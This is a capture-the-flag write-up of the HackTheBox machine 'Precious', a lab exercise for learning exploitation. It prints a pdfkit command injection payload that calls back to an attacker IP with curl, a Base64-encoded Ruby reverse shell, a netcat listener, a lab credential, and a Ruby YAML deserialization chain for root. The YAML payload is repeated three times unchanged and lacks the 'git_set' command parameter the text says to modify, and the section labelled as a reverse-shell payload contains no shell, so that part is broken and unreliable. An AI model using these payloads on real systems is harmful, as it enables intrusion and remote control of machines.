HTB: Precious Writeup

Precious - HackTheBox Writeup

Machine Information

AttributeDetails
NamePrecious
OSLinux
DifficultyEasy
Points20
Release Date15 Nov 2022
IP Address10.10.11.189
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Precious is an Easy Linux machine that hosts a custom Ruby web application powered by Phusion Passenger. The initial foothold is achieved by exploiting CVE-2022-25765 in the outdated pdfkit library (v0.8.6), which is vulnerable to command injection through URL parameters. After gaining shell access as the ruby user, plaintext credentials are discovered in the Gem repository config file, enabling lateral movement to the henry user. Privilege escalation is accomplished through an insecure YAML deserialization vulnerability in a Ruby script that henry can execute with sudo privileges.

TL;DR: pdfkit RCE → ruby shell → credential theft from .bundle/config → henry user → YAML deserialization in sudo script → root shell


Reconnaissance

Port Scanning

Terminal window
# Initial enumeration with nmap
nmap -p- --min-rate=1000 -T4 10.10.11.189
# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.189 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.189

Results:

  • Port 22/TCP - OpenSSH (SSH service)
  • Port 80/TCP - Nginx with Phusion Passenger (Ruby web application)

Service Enumeration

Navigating to http://10.10.11.189:80 reveals a web application designed to convert web pages into PDFs. The application accepts a URL as input and generates a PDF file with a random name (e.g., h2a0s6epa7r6phot1krfa646s4gk8gof.pdf).

Examining the HTTP response headers reveals:

X-Runtime: Ruby

This confirms the application is powered by Ruby, running under Phusion Passenger.

Vulnerability Assessment

Using exiftool to inspect the generated PDF’s metadata:

Terminal window
exiftool h2a0s6epa7r6phot1krfa646s4gk8gof.pdf

The Creator tag reveals:

Creator: pdfkit v0.8.6

Identified Vulnerability: CVE-2022-25765 - pdfkit v0.8.6 is vulnerable to command injection through URL parameters. When user-supplied URLs are passed to the pdfkit library without proper sanitization, shell command substitution can be injected using backticks or $() syntax.


Initial Foothold

Exploitation Path

Step 1: Test for Command Injection

Initial payload attempts fail due to backend validation. We craft a payload using a syntactically valid URL that points to our controlled web server:

Terminal window
# Start a Python HTTP server to receive callbacks
python3 -m http.server 80

Submit the following URL to the web application:

http://test.local/%20`curl http://10.10.14.40/test`

Success! We receive a callback on our HTTP server, confirming RCE on the target machine.

Step 2: Generate Ruby Reverse Shell Payload

Using revshells.com, we generate a Ruby reverse shell payload and encode it in Base64:

Terminal window
# Ruby reverse shell payload
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'
# Base64 encode the payload
echo 'ruby -rsocket -e'"'"'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'"'"'' | base64

Step 3: Start Netcat Listener

Terminal window
nc -lvnp 4444

Step 4: Submit Payload to Web Application

Submit the following URL:

http://test.local/%20`echo cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTQuNDAiLDQ0NDQpKSc= | base64 -d | bash`

Result: We receive a shell as the ruby user.

Shell Stabilization

Upgrade to an interactive TTY shell:

Terminal window
python3 -c 'import pty;pty.spawn("/bin/bash")'

Lateral Movement

Credential Discovery

Enumerate the ruby user’s home directory:

Terminal window
ls -la ~/

Discover a .bundle directory, which typically contains Gem repository configuration files:

Terminal window
cat ~/.bundle/config

Output reveals:

BUNDLE_GEMS__CONTRIBSYS__COM: henry:Q3c1AqGHtoI0aXAYFH

This .bundle/config file exposes plaintext credentials for the henry user. This is a critical security misconfig—credentials should never be stored in plaintext.

SSH Lateral Movement

Using the discovered credentials, authenticate via SSH:

Terminal window
ssh henry@10.10.11.189
# Password: Q3c1AqGHtoI0aXAYFH

Result: Successfully logged in as henry user.

Capture the user flag:

Terminal window
cat /home/henry/user.txt

Privilege Escalation

Enumeration of Sudo Privileges

Check what commands henry can execute with sudo:

Terminal window
sudo -l

Output:

(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

The henry user can execute a Ruby script as root without a password.

Analysis of Target Script

Examine the source code:

Terminal window
cat /opt/update_dependencies.rb

Key code excerpt:

require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end

Critical Vulnerability: The script uses YAML.load() on a file read from a relative path (dependencies.yml). This means:

  1. No absolute path is specified
  2. The script looks for dependencies.yml in the current working directory
  3. YAML.load() is known to be unsafe with untrusted data due to insecure deserialization

Exploitation via YAML Deserialization

Step 1: Create Malicious dependencies.yml

Navigate to /tmp and create a crafted YAML file that exploits Ruby’s deserialization:

Terminal window
cd /tmp

Test basic command execution with the following dependencies.yml:

--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module 'Gem::RequestSet'
method_id: :install
method_id: :resolve
read: 0
header: "abc"

Execute the script:

Terminal window
sudo /usr/bin/ruby /opt/update_dependencies.rb

Verify this works by checking if commands execute.

Step 2: Craft Reverse Shell Payload

Create the malicious dependencies.yml with our Base64-encoded reverse shell payload:

--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module 'Gem::RequestSet'
method_id: :install
method_id: :resolve
read: 0
header: "abc"

Alternatively, use a simpler payload approach by modifying the git_set parameter:

Terminal window
# Create dependencies.yml in /tmp
cat > /tmp/dependencies.yml << 'EOF'
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module 'Gem::RequestSet'
method_id: :install
method_id: :resolve
read: 0
header: "abc"
EOF

Step 3: Start Listener and Execute

Terminal window
# On attacker machine
nc -lvnp 4444

In /tmp, execute the script with sudo:

Terminal window
cd /tmp
sudo /usr/bin/ruby /opt/update_dependencies.rb

Result: Receive a callback and gain a root shell.

Capture the root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

Port Enumeration (Port 80 Open)
Identify pdfkit v0.8.6 via PDF Metadata
CVE-2022-25765 Command Injection Exploitation
RCE as 'ruby' User
Credential Discovery in ~/.bundle/config
SSH Lateral Movement to 'henry' User
Discover Sudo Privilege: /usr/bin/ruby /opt/update_dependencies.rb
Identify YAML.load() Insecure Deserialization
Craft Malicious dependencies.yml in /tmp
YAML Deserialization RCE as root
Root Shell & Flag Capture

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
exiftoolPDF metadata extraction
curlTesting command injection callbacks
python3HTTP server for callbacks and TTY shell upgrade
revshells.comGenerating reverse shell payloads
nc / netcatReverse shell listeners
sshLateral movement authentication
base64Payload encoding

Key Learnings

Techniques Practiced

  • Web application enumeration and metadata analysis
  • Command injection vulnerability identification and exploitation
  • Reverse shell payload generation and encoding
  • Credential harvesting from configuration files
  • YAML deserialization attacks in Ruby
  • Relative path vulnerabilities in privilege escalation scripts
  • TTY shell stabilization

Lessons Learned

  1. Never store credentials in plaintext — The .bundle/config file exposed the henry user’s credentials due to poor security practices. Credentials should be stored securely using environment variables or secret management tools.

  2. Validate all user input — The pdfkit vulnerability demonstrates the importance of sanitizing and validating user-supplied input before passing it to system libraries.

  3. Understand dangerous deserialization patterns — Ruby’s YAML.load() is unsafe when loading untrusted data. Use YAML.safe_load() instead to prevent arbitrary code execution.

  4. Use absolute paths in scripts — The privilege escalation script used a relative path for dependencies.yml, allowing an attacker to place a malicious file in the current directory and execute arbitrary code.

  5. Principle of least privilege — The sudo entry allowed passwordless execution of a Ruby script with no restrictions on where it reads files from. More restrictive configurations would prevent this attack.

  6. Keep dependencies updated — Outdated libraries like pdfkit v0.8.6 contain known vulnerabilities. Regular updates and vulnerability scanning are essential.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>